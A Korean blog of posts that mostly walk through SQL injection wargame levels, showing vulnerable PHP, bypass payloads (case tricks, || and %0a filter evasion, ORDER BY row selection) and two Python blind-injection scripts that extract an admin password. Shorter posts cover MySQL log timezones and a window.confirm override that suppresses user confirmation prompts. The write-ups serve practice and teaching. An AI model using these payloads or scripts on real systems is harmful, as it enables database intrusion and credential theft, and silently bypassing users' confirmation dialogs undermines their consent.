<?php  
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  if(@ereg("admin",$_GET[id])) exit("HeHe");
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>


이번에는 ' 이 친구를 쓸수 없고 admin 문자열을 쓸 수 없다.
admin은 hex로 encode해서 쓰면 될거 같은데 ' 는 좀 감이 안온다. 저걸 부셔야 쿼리를 넣을텐데!

하고 여러가지 해보다가 안되서 찾아보니...
좀 어이가 없지만 deprecated 된 ereg는 대문자 검사를 못한단다.
적당히 대문자로 .... 바꿔넣어주자
2017/06/20 02:39 2017/06/20 02:39
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>


역시 or과 and를 쓸 수 없다

select id from prob_orge where id='guest' and pw='' || id='admin' -- a'


일단 이 쿼리가 동작하는건 확인했다
그리고 admin을 출력하는거 보니까 blind sqli 임이 짐작된다.
orc의 소스를 재활용해려고 했는데 and가 && 로 대체가 안된다. 좀 이상하게 나오는데 가만 생각해보니 &는 url 파라미터 구분자기때문에 좀 바꿔줘야된다. 보내기전에 quote를 해서 보내면 되니 명심...

#!/usr/bin/env python
# -*- coding: utf8 -*-
  
import requests
 
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/orge_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
 
loop = 0
pw = ''
 
for j in range(1,30):
    data = "' || ( id='admin' && length(pw)={} ) -- a".format(j)
    data = requests.utils.quote(data)
    r = requests.get(url+'?pw='+data,headers=headers)
    if r.text.find('Hello admin') != -1 :
        loop = j
         break

for i in range(1,loop+1):
    for j in string:
        data = "' || ( id='admin' && substring(pw,{},1)=0x{} ) -- a".format(i,j.encode('hex'))
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data,headers=headers)
 
        if r.text.find('Hello admin') != -1 :
            pw = pw + j
            print "[!] found",pw
            break
  
print pw
2017/06/20 02:35 2017/06/20 02:35

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>


점점 필터링에 제약이 오기 시작한다
이번에는 or과 and를 쓸수 없다. 그럼 ||를 쓰면 된다

select id from prob_darkelf where id='guest' and pw='1' || id='admin' -- a'
2017/06/20 02:13 2017/06/20 02:13
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>


코드 상에는 whitespace를 쓸 수 없다는 제약이 있다
띄워쓰기 없이... 이런 문제가 있다. 개행으로 점프가 되는.. 쓸데 없는 똑똑이

select id from prob_wolfman where id='guest' and pw='' or id='admin'#'


이런꼴을 만들어주면된다. %0a를 잘 써먹어보자
2017/06/20 01:54 2017/06/20 01:54
<?php
include "./config.php"; 
 login_chk(); 
 dbconnect(); 
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
 $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
 echo "
query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "

Hello admin

"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>


이건 쿼리가 두개다
일단 admin을 획득하려면 참을 만들면 되는데

select id from prob_orc where id='admin' and pw='1' or 1=1 -- a'


이거만으로 안 끝난다. 왜냐면 단순히 result['id']가 있기만해도 되기때문. 즉 이 문제는 blind sql로 pw가 맞으면 admin이 출력될거고 아니면 안뜨고 뭐 그런..느낌이다
blind sqli 시에 깔끔히 답만 알려주지 않기때문에 length로 체크를 하도록 간단히 코드를 짰다. 그리고 이 사이트는 cloudflare를 사용하고 있기때문에 cookie 가 없으면 돌아가지 않아서 이때부터 requests 모듈을 사용하기로 했다

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import requests

headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=dihankitbe8chkt37mk9tt9040;'}
url = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"

loop = 0
pw = ''

for j in range(1,30):
 data = "?pw=' or ( id='admin' and length(pw)={} )-- a".format(j)
 r = requests.get(url+data,headers=headers)

 if r.text.find('Hello admin') != -1 :
 loop = j
 break

for i in range(1,loop+1):
 for j in string:
 data = "?pw=' or ( id='admin' and substring(pw,{},1)=0x{} ) -- a".format(i,j.encode('hex'))
 r = requests.get(url+data,headers=headers)

 if r.text.find('Hello admin') != -1 :
 pw = pw + j
 print "[!] found",pw
 break
 
print pw

돌리다보면 나온다

2017/06/19 17:01 2017/06/19 17:01
 include "./config.php"; 
 login_chk(); 
 dbconnect(); 
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
 if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
 $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
 echo "
query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "

Hello {$result[id]}

"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__); ?>

$_GET['no']안에 quotes 를 사용할 수 없다니 이제 야매는 안될 것 같다 전 문제에서 썼던 order by 꼼수로 넘어가자.

select id from prob_goblin where id='guest' and no=1 or 1=1 order by 1 asc -- a
2017/06/19 16:56 2017/06/19 16:56
 include "./config.php"; 
 login_chk();
 dbconnect();
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
 $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
 echo "
query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "

Hello {$result['id']} You are not admin :(

"; highlight_file(__FILE__); ?>

이거도 그냥 간단히 넘어보려고 다음과 같이 쿼리를 짰다

select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 desc -- a')

근데 리턴되는 값이 이상하다.

Hello rubiya
You are not admin :(

컬럼에 하나만 있을 줄 알았더니 몇개가 더 있나보다. 한 두개쯤 있을 것 같으니 (아마 세개째부터는 생각을 해야될것 같지만)

select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 asc -- a')

이런식으로 현재 select 되는 row가 아닌 다른 row를 선택되게 바꿔주면 pass

2017/06/19 16:48 2017/06/19 16:48
 include "./config.php";
 login_chk();
 dbconnect();
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
 $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
 echo "
query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("gremlin"); highlight_file(__FILE__); ?>

질의 하면 위에 쿼리가 나온다. 나는 id를 true로 만들고 pw는 주석처럼 만들어버려서 뒤로 점프할 생각이었고 그냥 된다. 몸풀기..

select id from prob_gremlin where id='' or 1=1 -- ' and pw='1'
2017/06/19 16:43 2017/06/19 16:43
slow query 로그를 모니터링하다가 괴이한걸 발견했다.

 # Time: 2017-06-07T21:02:08.862259Z
# User@Host:  @ localhost []  Id: 369414
# Query_time: 5.894014  Lock_time: 0.000000 Rows_sent: OOOO  Rows_examined: OOOO
use DB;
SET timestamp=1496869328;
SELECT /*!40001 SQL_NO_CACHE */ * FROM `table`;


/*40001 SQL_NO_CACHE*/ 라는것도 처음보고, DB를 풀스캔하고 있는데 시간대를 보니 밤 9시라고 한다. 밤9시엔 이런 작업을 할리가 없는데..  그래서 이래저래 검색을 해보니 40001 은 mysql 버전 4.0.0 이상에서 진행된 쿼리라는거고, 뒤에는 말그대로 캐시없이 돌리겠다는 명령어라고 한다. 그리고 mysqldump에서 이렇게 질의한다고 하는데...

문제는 9시에 mysqldump를 진행하지 않는다. 혹시 해서 select now()를 해도 정상시간으로 되어있고, OS시간도 정상이다.
판타즘넷 DB서버는 새벽6시와 또 다른 특정시간대에 백업을 진행하는데, 친구와 얘기하다보니 로그 시간뒤에 Z가 붙어있는걸 확인했다. 그렇다. 이건 UTC +0 시간이었던것이다...

mysql 5.7.2 부터는 로그시간의 혼동을 피하기위해 따로 변수를 추가해 관리하는것이다. 이걸 확인하려면,

show variables;


를 통해 log_timestamps의 값을 확인하면 되는데 나의 경우

log_timestamps | UTC


로 설정되어 있다.
해당 변수의 값은 SYSTEM 혹은 UTC로만 설정할 수 있으며, 서버시간대로 로그를 확인하고 싶다면 SYSTEM으로 맞춰주면된다.
my.cnf 에 mysqld 밑에 다음과 같이 적어주자

 log_timestamps = SYSTEM


Ref:
https://serverfault.com/questions/759532/mysql-logs-different-time-than-now
https://stackoverflow.com/questions/8282788/what-does-select-n-sql-no-cache-from-mytable-mean-in-in-mysqls-slow

2017/06/08 11:09 2017/06/08 11:09

시작하며


제목이 너무 거창한데, 유저들에게서 강제로 confirm에 대한 확인을 받아야할 일이 있었다. confirm을 내가 띄우는 주체가 아닌데 반드시 confirm 에 대한 확인을 받아야만 모든 데이터를 다 긁을 수 있기 때문이다. 별수 없이 방법을 찾아봤는데 confirm에 delegate를 거는 방법은 없었다. 이 method는 문자 그대로, 말그대로 유저의 confirm을 받아 처리하는 기능이기 때문이다.

바꿔치기


이건 정공은 아니고 그냥 trick 에 가깝다 혹은 cheat.. 강제로 confirm을 발현 시키고, 그 이후에 window의 confirm을 모두 true로 바꿔버리는것이다 코드를 보자

window._confirm = window.confirm;
window.confirm = function() {
 return true;
};

코드는 심플한데, 말그대로 브라우저 윈도우의 confirm을 모두 true 로 바꿔버리는것이다. 이 코드가 실행되면 해당 세션의 웹 브라우저의 confirm은 모두 true가 되서 뜨지도 않게 된다. 때문에, 현재 상태를 window._confirm 안에 저장해놓고, 이벤트가 끝나면 다시 다음과 같이 수행하면 된다

window.confirm = window._confirm;

Thanks to jake

2017/05/19 11:31 2017/05/19 11:31